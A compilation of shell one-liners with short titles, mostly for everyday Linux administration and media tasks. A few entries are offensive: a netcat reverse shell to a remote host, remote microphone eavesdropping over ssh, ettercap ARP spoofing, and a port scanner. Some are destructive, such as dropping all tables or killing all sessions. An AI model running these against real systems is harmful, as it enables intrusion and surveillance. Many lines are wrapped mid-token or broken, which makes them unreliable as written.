while [ 1 -lt 2 ]; do i=0; COL=$((RANDOM%$(tput cols)));ROW=$((RANDOM%$(tput cols)));while [ $i -lt $COL ]; do tput cup $i $ROW;echo -e "\033[1;34m" $(cat /dev/urandom | head -1 | cut -c1-1) 2>/dev/null ; i=$(expr $i + 1); done; done

# look for a function reference in a library set
nm --defined-only --print-file-name lib*so 2>/dev/null | grep ' pthread_create$'

# FInd the 10 biggest files taking up disk space
find /home/ -type f -exec du {} \; 2>/dev/null | sort -n | tail -n 10 | xargs -n 1 du -h 2>/dev/null

# Go to the Nth line of file
sed -n '15p' $file

# Copy a file from a remote server to your local box using on-the-fly compression
rsync -Pz user@remotehost:/path/file.dat .

# Edit a script that's somewhere in your path.
vim `which <scriptname>`

# Create more threads with less stack space
ulimit -s 64

# Quick and dirty RSS
curl --silent "FEED ADDRESS" |sed -e 's/<\/[^\>]*>/\n/g' -e 's/<[^\>]*>/g

# Update file with patch
patch originalfile -i my.patch -o newfile; mv newfile originalfile

# Change size of lots of image files.
for File in *.jpg; do mogrify -resize 1024 -quality 96 $File; done

# Get a range of SVN revisions from svn diff and tar gz them
tar cvfz changes.tar.gz --exclude-vcs `svn diff -rM:N --summarize . | grep . | awk '{print $2}' | grep -E -v '^\. $'`

# find out how much space are occupied by files smaller than 1024K
find dir -size -1024k -type f | xargs -d $'\n' -n1 ls -l | cut -d ' ' -f 5 | sed -e '2,$s/$/+/ ' -e '$ap' | dc

# Press a key automatically
while true; do xvkbd -xsendevent -text "\[$KEY]" && sleep 2; done

# shell function to underline a given string.
underline() { echo $1; for (( i=0; $i<${#1}; i=$i+1)); do printf "${2:=$i}"; done ; printf "\n"; }

# Play Star Wars Episode IV in your terminal ;)
telnet towel.blinkenlights.nl

# MySQL: Slice out a specific table from the output of mysqldump
sed -n "/^-- Table structure for table `departments`/,/^-- Table structure for table/p"

```

```

# reverse order of file
awk '{a[i++]=$0} END {for (j=i-1; j>=0;) print a[j--] }'
```

Change the default editor for modifying the sudoers list.

```
sudo update-alternatives --config editor
```

a function to create a box of '=' characters around a given string.

```
box() { l=${#1}+4;x=${2:-=};n $1 $x; echo "$x $1 $x"; n $1 $x; }; n() { for (( i
=0; $i<$1; i=$i+1)); do printf $2; done; printf "\n"; }
```

Report full partitions from a cron

```
df -l | grep -e "9.%" -e "100%"
```

turn off auto hard disc boot scanning for ext3

```
tune2fs -c -1 -i 0 /dev/VG0/data
```

Read info(1) pages using 'less' instead of GNU Texinfo

```
info gpg |less
```

Generate MD5 of string and output only the hash checksum in a readable format

```
echo -n "String to MD5" | md5sum | sed -e 's/[0-9a-f]\{2\}/& /g' -e 's/ -//'
```

Get me yesterday's date, even if today is 1-Mar-2008 and yesterday was 29-Feb-2008

```
TZ=XYZ24 date
```

Get the current svn branch/tag (Good for PS1/PROMPT_COMMAND cases)

```
svn info | grep '^URL:' | egrep -o '(tags|branches)/[^/]+|trunk' | egrep -o '[^/
]+$'
```

Rips CDs (Playstation, etc.) and names the files the same as the volume name

```
cdrdao read-cd --read-raw --datafile "`volname /dev/hdc | sed 's/[ ^t]*$//'"`.bin
--device ATAPI:0,0,0 --driver generic-mmc-raw "`volname /dev/hdc | sed 's/[ ^t
]*$//'"`.toc
```

Find the annual salary of any White House staffer.

```
curl -s "http://www.socrata.com/api/views/vedg-c5sb/rows.json?search=Axelrod" |
grep "data\" :\" | awk '{ print $17 }'
```

Find artist and title of a music cd, UPC code given (first result only)

```
curl -s 'http://www.discogs.com/search?q=724349691704' | sed -n '\#/release/#{s/
^<div>.*>\(.*\)\</a></div>/\1/p'
```

Use mtr to create a text file report

```
mtr --report --report-cycles 10 www.google.com > google_net_report.txt
```

power off system in X minutes

```
shutdown -h 60
```

Stat each file in a directory

```
find -name `egrep -s '.' * | awk -F": " '{print $1}' | sort -u` -exec stat {} \;
```

easier sudo apt-get install

```
alias sagi="yes | sudo apt-get install"
```

Creates a SSHFS volume on MacOS X (better used as an alias). Needs FuseFS and SSHFS (obviously).

```
mkdir /Volumes/sshdisk 2> /dev/null; sshfs user@server:/ /Volumes/sshdisk -oreco
nnect,volname=SSHDisk
```

```

# Create a 100MB file for testing transfer speed
dd if=/dev/random of=bigfile bs=1024 count=102400

# command! -nargs=1 Vs vs &lt;args&gt;
Create aliases for common vim minibuffer/cmd typos

# create random numbers within range for conjob usage
H=$(until ([ $i -le 6 -a $i -gt 0 -o $i -le 23 -a $i -gt 21 ] ); do i=$(date +%N | cut -c8-10); done ; echo $i) ; M=$(until [ $i -le 59 ]; do i=$(date +%N | cut -c8-10); done ; echo $i) ; echo $M $H \* \* \* backup-rsync-push.sh

# Syntax Highlight your Perl code
perl -MText::Highlight -E '$h=Text::Highlight->new(ansi=>1); my $text=do{local $/; open my $fh, "<", $ARGV[0]; <$fh>}; say $h->highlight("Perl", $text);' path/to/perl-file.pl

# Take a screenshot every 2 seconds
i=0;while ;; do i=$(expr "$i" + 1); scrot "$i".png; sleep 2; done;

# Delete empty, 24-hours-old directories recursively, without consider hidden directories
find . -regex "[^.]*" -depth -empty -type d -mtime +1 -exec rmdir -v {} \;

# Jump to a song in your XMMS2 playlist, based on song title/artist
function jumpTo { xmms2 jump `xmms2 list | grep -i '$1' | head -n 1 | tail -n 1 | sed -re 's@.+\.([.+)/.+\. (.+)@1@`'; }

# Recursively create a TAGS file for an entire source tree. TAGS files are useful for editors like Vim and Emacs
ctags -R

# Multiple search and replace on a file with perl
perl -i.bak -pe 's/apple/orange/; s/dollar/euro/; s/foo/bar/;' file

# shell equivalent of a boss button
cat /dev/urandom | hexdump -C | highlight ca fe 3d 42 e1 b3 ae f8 | perl -MTime::HiRes -pne "Time::HiRes::usleep(rand()*1000000)"

# Make a DVD ISO Image from a VIDEO_TS folder on MacOSX
hdiutil makehybrid -udf -udf-volume-name DVD_NAME -o MY_DVD.iso /path/

# Erase empty files
find . -type f -size 0 -delete

# Get your public ip
curl -s http://icanhazip.com/

# Use "most" as your man pager
export MANPAGER='most'

# Convert spaces in file names to underscores
rename 'y/ /_/' *

# Automatically create a rar archive
rar a -m0 "${PWD##*/}.rar" *

# Change framebuffer font
setfont cybercafe

```

```

# Kill XMMS for a cron job
pkill xmms

# Find a CommandLineFu users average command rating
curl -s www.commandlinefu.com/commands/by/PhillipNordwall | awk -F\> '/num-votes
/{S+=$2; I++}END{print S/I}'

# eavesdrop
ssh USER@REMOTESYSTEM arecord - | aplay -

# Google Translate
wget -U "Mozilla/5.0" -qO - "http://translate.google.com/translate_a/t?client=t&
text=translation+example&sl=auto&tl=fr" | sed 's/\[\[\[\["//' | cut -d \" -f 1

# host - DNS lookup utility
host google.com

# A function to find the newest file of a set.
newest () { candidate=''; for i in "$@"; do [[ -f $i ]] || continue; [[ -z $can
didate || $i -nt $candidate ]] && candidate="$i"; done; echo "$candidate"; }

# Leap year calculation
leapyear() { [ $(date -d "Dec 31, $1" +%j) == 366 ]&& echo leap || echo not lea
p; }

# Query Wikipedia via console over DNS
mwiki () { dig +short txt `echo $*|sed 's| *_|g|` .wp.dg.cx; }

# sendEmail - easiest commandline way to send e-mail
sendEmail -f anything@anithing.com -u subject of nessage -t youfriend@hisdomain
-m message to him

# reverse order of file
tac $FILE

# view all lines without comments.
grep -v "^#" file.txt | more

# Backup a filesystem to a remote machine and use cstream to throttle bandwidth
of the backup
nice -n19 dump -0af - /<filesystem> -z9|pgp -e -r <pgp key id>|cstream -v 1 -t 6
0k|ssh <user@host> "cat > backup.img"

# Find Duplicate Files, excluding .svn-directories (based on size first, then MD
5 hash)
find -type d -name ".svn" -prune -o -not -empty -type f -printf "%s\n" | sort -r
n | uniq -d | xargs -I{} -n1 find -type d -name ".svn" -prune -o -type f -size {
}c -print0 | xargs -0 md5sum | sort | uniq -w32 --all-repeated=separate

# Reconstruct standard permissions for directories and files in current director
y
chmod -R u=rwX,g=rX,o=rX .

# Command line calculator
calc() { python -c "from math import *; print $1"; }

# Create an alias, store it in ~/.bash_aliases and source your new alias into th
e ~/.bashrc
echo "alias topu='top -u USERNAME'" >> ~/.bash_aliases && source .bashrc

```

```

# Command line calculator
python -ic "from __future__ import division; from math import *; from random import *"

# Recursively remove all files in a CVS directory
for dir in $(find -type d ! -name CVS); do for file in $(find $dir -maxdepth 1 -type f); do rm $file; cvs delete $file; done; done

# Command line calculator
calc() { bc <<< $*; }

# Get a file from SharePoint with cURL
curl --ntlm -u DOMAIN/user https://sharepoint.domain.com/path/to/file

# Scans for open ports using telnet
HOST=127.0.0.1;for((port=1;port<=65535;++port)); do echo -en "$port ";if echo -en "open $HOST $port\nlogout\nquit" | telnet 2>/dev/null | grep 'Connected to' > /dev/null; then echo -en "\n\nport $port/tcp is open\n\n";fi;done | grep open

# sync svn working copy and remote repository (auto adding new files)
svn status | grep '^?' | awk '{ print $2; }' | xargs svn add

# Find and delete oldest file of specific types in directory tree
find / \( -name "*.log" -o -name "*.mylogs" \) -exec ls -lrt {} \; | sort -k6,8 | head -n1 | cut -d" " -f8- | tr -d '\n' | xargs -0 rm

# Display network pc "name" and "workgroup"
nmblookup -A <ip>

# Screen enable/disable login in all windows
bindkey ^l at "#" log on bindkey ^o at "#" log off

# combining streams
ll /root/ 2>&1 | grep -E '(psw|password) '

# execute a shell with netcat without -e
mkfifo pipe && nc remote_server 1337 <pipe | /bin/bash &>pipe

# Drop all tables from a database, without deleting it
MYSQL="mysql -h HOST -u USERNAME -pPASSWORD -D DB_NAME" ; $MYSQL -BNe "show tables" | awk '{print "set foreign_key_checks=0; drop table ` " $1 "`;"}' | $MYSQL un
set MYSQL

# Quick HTML image gallery from folder contents with Perl
find . | perl -wne 'chomp; print qq|<br />| if /\. (jpg|gif|png)$/; '> gallery.html

# Tail postfix current maillog and grep for "criteria"
tail -f `ls -alst /var/log/maillog*` | awk '{print $10} NR>0{exit};0' | grep "criteria"

# Get a list of the erroring cifs entries in fstab
ls $(grep cifs /etc/fstab | grep -v ^# |awk ' { print $2 } ') 1>/dev/null

# mplayer -vo aa foo.mpg
Play "foo.mpg" in your terminal using ASCII characters

# prints message in given argument on on center of screen

```

```

function echox { echo `tput cup $((($tput lines)) $(( ($tput cols) - $(echo "$
{#1}"))/2 ))`"$1"`tput cup $(tput lines) $(( $(tput cols)-1 ))`; }

# Test your total disk IO capacity, regardless of caching, to find out how fast
the TRUE speed of your disks are
time (dd if=/dev/zero of=blah.out bs=256M count=1 ; sync )

# Print a random 8 digit number
jot -s '' -r -n 8 0 9

# Display the output of a command from the first line until the first instance o
f a regular expression.
command | sed '/regex/q'

# Get MAC address
ifconfig | awk '/^eth0/ {print $5}'

# Backup through SSH
tar cvzf - /wwwdata | ssh root@IP "dd of=/backup/wwwdata.tar.gz"

# Place the argument of the most recent command on the shell
<Esc> _

# Debug a remote php application (behind firewall) using ssh tunnel for XDEBUG p
ort 9000
ssh -R 9000:localhost:9000 you@remote-php-web-server.com

# List top 10 files in filesystem or mount point bigger than 200MB
find /myfs -size +209715200c -exec du -m {} \; |sort -nr |head -10

# run command on a group of nodes in parallel
echo -n m{1..5}.cluster.net | xargs -d' ' -n1 -P5 -I{} ssh {} 'uptime'

# reset an hanging terminal session
^J tput sgr0 ^J

# Test http request every second, fancy display.
watch -n 1 nc localhost 80 '<<EOF GET / HTTP/1.1 Host: tux-ninja Connection: Clo
se EOF'

# Remotely sniff traffic and pass to snort
sniff_host: tcpdump -nn -i eth1 -w - | nc 192.168.0.2 666

# Go up multiple levels of directories quickly and easily.
alias ..="cd .."; alias ...="cd ../.."; alias ....="cd ../../.."

# let a cow tell you your fortune
cowsay $(fortune)

# full path listing in /directory/path/* of javascript files.
tree -fi /directory/path/* | grep "\.js"

# Output the content of your Active Directory in a CSV file
csvde -f test.csv

# Find C/C++ source code comments
perl -e 'my $in_comment = 0; while (<>) { $in_comment = 1 if m{\Q/*\E}; print if
$in_comment; $in_comment = 0 if m{\Q*/\E}; }' *.cpp

```



```

# Short URL to commandlinefu.com commands
lynx cmdl.in/9058

# dump 1KB of data from ram to file
dd if=/dev/mem of=file.dump bs=1024 skip=0 count=1

# Recursively grep thorough directory for string in file.
find directory/ -exec grep -ni phrase {} +

# Re-emerge all ebuilds with missing files (Gentoo Linux)
emerge -av1 $(for e in `qlist -I --nocolor | uniq`; do for f in `qlist -e $e`; do
o if test ! -e $f; then echo $e; echo $e: missing $f 1>&2; fi; done; done)

# gain all mp3s in subfolders w/o encoding
find . -type f -iname '*.mp3' -print0 | xargs -0 mp3gain -r -k

# Update all GPG keys in your keyring
gpg --keyserver pgp.mit.edu --recv-keys `gpg --list-key | grep ^pub | awk '{print
t $2}' | sed 's,^.*/, ,g'`

# Url Encode
od -An -w999 -t xC <<< "$1" | sed 's/[ ]?\(c[23]\) \(\.\)\%1%\2/g;s/ /\ \ \ \x/g
' | xargs echo -ne

# translate with google, get all translations
translate() { echo $1: $(wget -q -O - 'http://www.google.de/dictionary?source=tr
anslation&q='$1'&langpair=en|de' | grep '^<span class="dct-tt">.*</span>$' | sed
's!<span class="dct-tt">\(.*)</span>!1, !'); }

# AWK: Set Field Separator from command line
awk -F, '{print $1" "$2" "$NF}' foo.txt

# What is the use of this switch ?
manswitch() { man $1 | grep -A5 "^ *-\$2"; }

# Print all lines in a file that are not a certain length
awk 'length($0)!=12 {print}' your_file_name

# Scan for [samba|lanman] NetBIOS names and ip addresses in LAN by ARP.
arp-scan -I eth0 -l | perl -ne '/((\d{1,3}\.){3}\d{1,3})/ and $ip=$1 and $_=`nmb
lookup -A $ip` and /([[:alnum:]-]+)\s+<00>[<+<ACTIVE>/m and printf "%15s %s\n
", $ip, $1'

# burn initial session on a growable DVD using growisofs
growisofs -Z /dev/dvd -J -r "directory name to burn on DVD"

# Pipe the result of a command to IRC (channel or query)
function my_irc { tmp=`mktemp`; cat > $tmp; { echo -e "USER $username x x :$ircn
ame\nNICK $nick\nJOIN $target"; while read line; do echo -e "PRIVMSG $target :$l
ine"; done < $tmp; } | nc $server > /dev/null ; rm $tmp; }

# find all writable (by user) files in a directory tree (use 4 for readable, 1 f
or executable)
find . -type f -perm +200 -print

# Suspend to ram
dbus-send --system --print-reply --dest=org.freedesktop.UPower /org/freedesktop/
UPower org.freedesktop.UPower.Suspend

# Replaces a color in a PDF document, useful for removing a dark background befo

```

```
re printing.
convert -density 300 input.pdf -fill "rgb(255,255,255)" -opaque "rgb(0,0,0)" out
put.pdf

# print character classes
pcharc(){ perl -e 'for (0..255) {$_ = chr($_); print if /['$1']/}' | cat -v; ech
o;}

# List your interfaces and MAC addresses
ifconfig | grep HWaddr | awk '{print $1,$5}'

# Enable verbose boot in Mac OS X Open Firmware
sudo nvram boot-args="-v"

# Command to logout all the users in one command
who -u | grep -vE "^root " | kill `awk '{print $6}'`

# swap the java version being used
sudo update-alternatives --config java

# Read null character seperated fields from a file
read -d ""

# unrar all part1 files in a directory
ls -l *.part1.rar | xargs -d '\n' -L 1 unrar e

# get a mysqldump with a timestamp in the filename and gzip it all in one go
mysqldump [options] |gzip ->mysqldump-$(date +%Y-%m-%d-%H.%M.%S).gz

# eDirectory LDAP Search for Statistics
ldapsearch -h ldapservers.willeke.com -p389 -b "" -s base -D cn=admin,ou=administ
ration,dc=willeke,dc=com -w secretpwd "(objectclass=*)" chainings removeEntryOps
referralsReturned listOps modifyRDNops repUpdatesIn repUpdatesOut strongAuthBin
ds addEntryOps

# one-liner mpc track changer using dmenu
mpc play $(sed -n "s@^[ >]\([0-9]\+\) ) $(mpc playlist|cut -d' ' -f3-|dmenu -i -p
'song name' || echo void)@\1@p" < <(mpc playlist)

# Comment out all lines in a file beginning with string
sed -i 's/^\(somestring\)\/#\1/' somefile.cfg

# Given $PID, print all child processes on stdout
ps uw --ppid $PID

# View the current number of free/used inodes in a file system
df -i <partition>

# delete file name space
find . -type f -print0 | xargs -0 rename 's/\ //g'

# Ping a range of addresses
nmap -sP -T Insane 192.168.1.1-254

# Simple addicting bash game.
while $8;do read n;[ $n = "$1" ]&&c=$((c+1))||c=0;echo $c;l=$n;done

# Count occurrences per minute in a log file
grep <something> logfile | cut -c2-18 | uniq -c
```

```

# Copy the currently playing song in MPD to somewhere else
cp "/var/lib/mpd/music/`mpc --format '%file%' | head -n1`" /some/where/else

# Display _something_ when an X app fails
xlaunch(){ T=/tmp/$$;sh -c "$@" >$T.1 2>$T.2;S=$?;[ $S -ne 0 ]&&{ echo -e "'$@"
failed with error $$\nSTDERR:\n$(cat $T.2)\nSTDOUT:\n$(cat $T.1)\n"|xmessage -fi
le -;};rm -f $T.1 $T.2;}

# sum numbers in the file (or stdin)
echo $(($(tr '\n' '+' )0))

# commentate specified line of a file
sed -i '<line_no>s/\(.*\)/#\1/' <testfile>

# Automaticly cd into directory
shopt -s autocd

# Google voice recognition "API"
wget -q -U "Mozilla/5.0" --post-file speech.flac --header="Content-Type: audio/x
-flac; rate=16000" -O - "http://www.google.com/speech-api/v1/recognize?lang=en-u
s&client=chromium"

# re-assign line numbers
perl -pe 's/\d+/++$n/e' file.txt

# play audio stream and video stream in two different mplayer instances
mplayer test.mp3 < /dev/null & mplayer test.avi -nosound -speed 1.0884

# Automatically download Ubuntu 10.04 when available
while true; do if wget http://releases.ubuntu.com/10.04/ubuntu-10.04-desktop-i38
6.iso.torrent; then ktorrent --silent ubuntu-10.04-desktop-i386.iso.torrent ; da
te; break; else sleep 5m; fi; done

# Join lines
awk 'BEGIN{RS="\0"}{gsub(/\n/, "<SOMETEXT>");print}' file.txt

# BASH: Print shell variable into AWK
MyVAR=86; awk -v n=$MyVAR '{print n}'

# move all the .bak backup copies to their original names (rename files by strip
ping the extension)
for i in *.bak ; do nuname=`echo $i | sed 's/\.[^\.]*$//` ; echo renaming $i to
$nuname;mv $i $nuname; done

# Get full from half remembered commands
apropos <part_remember> | less

# Get fully qualified domain names (FQDNs) for IP address with failure and multi
ple detection
NAME=$(nslookup $IP | sed -n 's/.*arpa.*name = \(.*\)/\1/p'); test -z "$NAME" &&
NAME="NO_NAME"; echo "$NAME"

# Copy the full path of a file to the clipboard (requires xclip or similar)
>realpath ./somefile.c | xclip -selection c

# Single Line Twitter-Tracker
WRDS="word1 word2 wordN"; while [ 1 ];do curl -s http://twitter.com/statuses/pub
lic_timeline.rss |grep '<description>' |cut -d '>' -f 2 |cut -d '<' -f 1 > .twit

```

```

t.tmp && for word in $WRDS;do grep --color=auto -i $word .twtt.tmp;done;sleep 30
0;done

# List hostnames of all IPs
for IP in $(/sbin/ifconfig | fgrep addr: | sed 's/.*addr:\([[0-9.]*\) .*/\1/');
do host $IP | awk '{print $5}'; done

# convert wav into mp3 using lame
lame -V2 rec01.wav rec01.mp3

# Downlaoad websites to 5 level and browse offline!
wget -k -r -l 5 http://gentoo-install.com

# Generate SHA1 hash for each file in a list
ls [FILENAME] | xargs openssl sha1

# Mount a truecrypt drive from a file from the command line interactively
sudo truecrypt <truecrypt-file> <mount-point>

# Daily watch "question pour un champion" (French TV show)
kaffeine $(wget -qO- "http://questions-pour-un-champion.france3.fr/emission/index-fr.php?page=video&type_video=quotidiennes&video_courante=$(date +%Y%m%d)" | grep -o "mms.*wmv" | uniq)

# Find the biggest files on your hard drive
find / -type f -size +500000k -exec ls -lh {} \; | awk '{ print $9 ": " $5 }'

# start a VNC server for another user
su -c "vncserver -depth 32 -geometry 1024x768" username

# Get the next weekday for an 'at' command
if [ $(date +%u) -lt 6 ];then AT="tomorrow"; else AT="next monday";fi;echo "beep" | at ${AT}

# KDE Mixer Master Mute/Unmute
alias mute="dcop kmix Mixer0 toggleMasterMute\(\) ; dcop kmix Mixer0 masterMute\(\) | sed -e 's/true/muted/' -e 's/false/unmuted/' "

# for x in `psql -e\l | awk '{print $1}' | egrep -v "^(List|^Name|\-|\-|\-|\-|\-|^()
`; do pg_dump -C $x | gzip > /backups/$x-back.gz
for x in `psql -e\l | awk '{print $1}' | egrep -v "^(List|^Name|\-|\-|\-|\-|\-|^()
; do pg_dump -C $x | gzip > /var/lib/pgsql/backups/$x-nightly.dmp.gz; done

# Creates Solaris alternate boot environment on another zpool.
lucreate -n bel [-c be0] -p zpool1

# Add temporary entry to authorized_keys
Keys=$HOME/.ssh/authorized_keys;Back=$Keys.tmp.bak;Time=${1:-15};cp $Keys $Back;
cat /dev/stdin >>$Keys;echo mv $Back $Keys|at now+${Time}minutes;

# Get the ip registered to a domain on OpenWRT
nslookup commandlinefu.com|sed 's/[^0-9. ]//g'|tail -n 1|awk -F " " '{print $2}'

# Grep auth log and print ip of attackers
egrep 'Failed password for invalid' /var/log/secure | awk '{print $13}' | uniq

# Using mplayer to play the audio only but suppress the video
mplayer -novideo something.mpg

# gvim in full screen (execute again to toggle full screen on/off)

```

```

:exe "!wmctrl -r ".v:servername." -b toggle,fullscreen"

# Remove multiple spaces
sed "s/^ *//;s/ *$//;s/ \\{1,\\}/ /g" filename.txt

# list files in 'hitlar' mode
ls -Fhitlar

# append empty line after every line in file.txt
sed G file.txt

# Find files with the same names in several directories.
ls -l . dir2 dir3|sort|uniq -d

# Get the size of all the directories in current directory
sudo du -sh $(ls -d */) 2> /dev/null

# Open-iscsi target discovery
iscsiadm -m discovery -t sendtargets -p 192.168.20.51

# How to backup hard disk timely?
rsync -av --link-dest=$(ls -ld /backup/*/ | tail -1) /data/ /backup/$(date +%Y%m
%d%H%M)/

# Alternative for basename using grep to extract file name
fileName(){ echo ${1##*/}; }

# complete extraction of a debian-package
dpkg-deb -x $debfile $extractdir; dpkg-deb -e $debfile $extractdir/DEBIAN;

# Get a funny one-liner from www.onelinerz.net
w3m -dump_source http://www.onelinerz.net/random-one-liners/1/ | awk ' /.*<div i
d="oneliner_[0-9].*/ {while (! /\<div/ ) { gsub("\n", ""); getline; }; gsub (<
[^>][^>]*>/, "", $0); print $0}'

# Check (partial) runtime-dependencies of Gentoo ebuilds
qlist --exact "$pkg" | sudo scanelf --needed --quiet --format '%n#F' | tr ',' '\
n' | sort -u | qfile --from -

# Using vim to save and run your python script.
vim ... :nmap <F5> :w^M:!python %<CR>

# Replacing text in text files
sed -i -e "s/text to replace/final text/g" file

# A command to copy mysql tables from a remote host to current host via ssh.
ssh username@remotehost 'mysqldump -u <dbusername> -p<dbpassword> <dbname> tbl_n
ame_1 tbl_name_2 tbl_name_3' | mysql -u <localusername> -p<localdbpassword> <loc
aldbname> < /dev/stdin

# Lookup errno defintions
perl -MPOSIX -e 'print strerror($ARGV[0])."\n";' ERRNO

# Batch convert PNG to JPEG
for i in *.png; do convert "$i" "${i%.png}.jpg" && rm "$i" && echo "$i is conver
ted."; done

# ettercap..
ettercap -i ${interface} -P ${plugin} -Tq -M ARP:REMOTE // // -m ${PurloinedData}

```

```

}.log

# zsh suffix to inform you about long command ending
alias -g R=' &; jobs | tail -1 | read A0 A1 A2 cmd; echo "running $cmd"; fg "$cmd"; zenity --info --text "$cmd done"; unset A0 A1 A2 cmd'

# Cut flv video from minute 19 to minute 20 using flvtool2
flvtool2 -C -i 1140000 -o 1200000 input output

# Replace spaces in filename
for i in *\ *; do if [ -f "$i" ]; then mv "$i" ${i// /_}; fi; done

# Show a Package Version on RPM based distributions
rpm -q --queryformat %{VERSION}\n pkgname

# Burn an audio CD.
goburncd() { d=/tmp/goburncd_$RANDOM; mkdir $d && for i in *.[Mm][Pp]3; do lame --decode "$i" "$d/${i%.*}.wav"; done; sudo cdrecord -pad $d/* && rm -r $d; eject }

# List files with full path
echo $PWD/*

# defragment files
find ~ -maxdepth 20 -type f -size -16M -print > t; for ((i=$(wc -l < t); i>0; i--)) do a=$(sed -n ${i}p < t); mv "$a" /dev/shm/d; mv /dev/shm/d "$a"; echo $i; done; echo DONE; rm t

# Rename all .jpeg and .JPG files to .jpg
rename 's/\.jpeg/\.jpg/' *.jpeg; rename 's/\.JPG/\.jpg/' *.JPG

# Create a simple playlist sort by Genre using mp3info
for file in $(find ~/ -iname "*.mp3");do c=$(mp3info $file|grep Genre|cut -f 3 -d :|cut -f 2 -d " ");if [ -z "$c" ];then c="Uncategorized";fi;if [ ! -e $c ];then touch $c.m3u;fi;echo "$file">>$c.m3u;done

# Running a command at a specific time
echo "notify-send TimeToQuit" | at 10:22

# Find the modified time (mtime) for a file
date -r foo

# For when GUI programs stop responding..
xkill

# Changing the terminal title to the last shell command
if [ "$SHELL" = '/bin/zsh' ]; then case $TERM in rxvt|*term|linux) preexec () { print -Pn "\e]0;${1}\a" };; esac; fi

# Display top 5 processes consuming CPU
ps -eo pcpu,user,pid,cmd | sort -r | head -5

# View the newest xkcd comic.
wget `lynx --dump http://xkcd.com/|grep png`

# happened to find this not bad software to keep my files and folders safe! Even the free trial version has the fantastic functions to protect any private files from being seen by anyone except me. With it I can encrypt, hide or lock anything I want, amazing

```

```

tr '[A-Za-z]' '[N-ZA-Mn-za-m]'

# Delicious search with human readable output
filterous -dntb --tag Bash < bookmarks.xml

# Download all videos in your Boxee queue
for i in $(curl -u <username> http://app.boxee.tv/api/get_queue | xml2 | grep /boxeefeed/message/object/url | cut -d "=" -f 2,3); do get_flash_videos $i; done

# Convert a mp3 file to m4a
mplayer -vo null -vc null -ao pcm:fast:file=file.wav file.mp3; faac -b 128 -c 44 100 -w file.wav

# Skip to next selection in playlist
killall -2 mpg321

# continuously print string as if being entered from the keyboard
cycle(){ while :;do((i++));echo -n "${3:${i%${#3}}:1}";sleep .$(($RANDOM%$2+$1));done;}

# Syntax highlight PHP source
php -s source.php > source.html

# File rotation without rename command
for i in {6..1} ; do for f in *.${i}.gz ; do mv "$f" "${f/}.${i}.gz"}.${(i+1)}.gz 2>/dev/null ; done; done

# Syntax Highlight your Perl code
perl -mText::Highlight -E 'say Text::Highlight->new(ansi => 1)->highlight(Perl = > do { local (@ARGV,$/) = shift; <> } ) ' path/to/perl-file.pl

# Output files without comments or empty lines
function catv { egrep -v "^\|^#" ${*} ; }

# Benchmark report generator
hardinfo -am benchmark.so -f html > report.html

# Count lines of code across multiple file types, sorted by least amount of code to greatest
find . \( -iname '*.ch' -o -iname '*.php' -o -iname '*.pl' \) | xargs wc -l | sort -n

# Turning on and off Internet radio
radio() { if [ "$(pidof mpg123)" ] ; then killall mpg123; else mpg123 -q -@ http://173.236.29.51:8200 & fi }

# Run netcat to server files of current folder
Server side: while true; do tar cvzf - ./ * | nc -l 2000; done, client side: nc l ocalhost 2000 | tar xvzf -

# ZSH prompt. ':' after program execution with no error, ':( after failure.
PROMPT=$'\e[0;32m%b[\b%\e[0m%]\n%\e[0;32m%@\%\e[0m%](4c,./%1~,%)%\e[0;32m%b% %(?,%\e[0;32m%:)%%\e[0m%,%\e[0;31m%:(%\e[0m%) %# '

# Get your external IP address if your machine has a DNS entry
host $HOSTNAME|cut -d' ' -f4

# Command to logout all the users in one command
skill -KILL -v /dev/pts/*

```

```

# count of down available ips
nmap -v -sP 192.168.10.0/24 | grep down | wc -l

# parrallel execution of a command on remote hosts by ssh or rsh or ...
pdsh -R ssh -w se00[1-5] # a list of host names

# Easy way to scroll up und down to change to one of <i>n</i> last visited direc
tories.
alias cdd="history -a && grep '^ *[0-9]* *cd ' ~/.bash_history| tail -10 >>~/.ba
sh_history && history -r ~/.bash_history"

# Find file containing namespace in a directory of jar files.
for f in *.jar; do if jar -tf $f | grep -q javax.servlet; then echo $f; fi; done

# test moduli file generated for openssh
ssh-keygen -T moduli-2048 -f /tmp/moduli-2048.candidates

# Backup a file with a date-time stamp
buf () { filename=$1; filetime=$(date +%Y%m%d_%H%M%S); cp ${filename} ${filename
}_${filetime}; }

# Function to remove a directory from your PATH
pathrm() { PATH=`echo $PATH | sed -e "s=^${1}::=;s=${1}$==;s=${1}::="`; }

# Display the standard deviation of a column of numbers with awk
awk '{sum+=$1; sumsq+=$1*$1} END {print sqrt(sumsq/NR - (sum/NR)**2)}' file.dat

# Working random fact generator
wget randomfunfacts.com -O - 2>/dev/null | grep \<strong> | sed "s;^.*<i>\(.*\)
</i>.*$;\1;" | while read FUNFACT; do notify-send -t $((1000+300*`echo -n $FUNFA
CT | wc -w`)) -i gtk-dialog-info "RandomFunFact" "$FUNFACT"; done

# Produce a pseudo random password with given length in base 64
perl -MDigest::SHA -e 'print substr( Digest::SHA::sha256_base64( time() ), 0, $A
RGV[0] ) . "\n"' <length>

# Shows users and 'virtual users' on your a unix-type system
ps -eo user | sort -u

# Remove multiple same rpm packages
rpm -e --allmatches filename.rpm

# Sort files by date
ls -lrt

# Change user within ssh session retaining the current MIT cookie for X-forwardi
ng
su username -c "xauth add ${HOSTNAME}/unix:${DISPLAY//[a-zA-Z:_-]/} $(xauth list
| grep -o '[a-zA-Z0-9_-]*\ *[0-9a-zA-Z]*$'); bash"

# Copy without overwriting
yes n | cp -p -i -r <src> <dest>

# count of down available ips
nmap -v -sP 192.168.10.0/24 | grep -c down

# list process ids for given program
pidof httpd

```



```

# Mount an smb share on linux
mount -t smbfs //$server/share /local/mount -o rw,username=$USER

# Add a line from 1 file after every line of another (shuffle files together)
sed '/^/R addfile' targetfile > savefile

# Remove newlines from output
awk ./ filename

# Ultimate current directory usage command
find . -maxdepth 1 ! -name '.' -execdir du -0 -s {} + | sort -znr | gawk 'BEGIN
{ORS=RS="\0";} {sub($1 "\t", ""); print $0;}' | xargs -0 du -hs

# List open TCP/UDP ports
lsof -i tcp -i udp

# Go up multiple levels of directories quickly and easily.
alias ..="cd .." ...="cd ../.." ....="cd ../../.."

# Open a file with specified application.
open -a BBEdit file.sql

# List your largest installed packages (on Debian/Ubuntu)
awk '{if ($1 ~ /Package/) p = $2; if ($1 ~ /Installed/) printf("%9d %s\n", $2, p
)}' /var/lib/dpkg/status | sort -n | tail

# An alarm clock using xmms2 and at
echo "xmms2 play" | at 6:00

# calculate the total size of files in specified directory (in Megabytes)
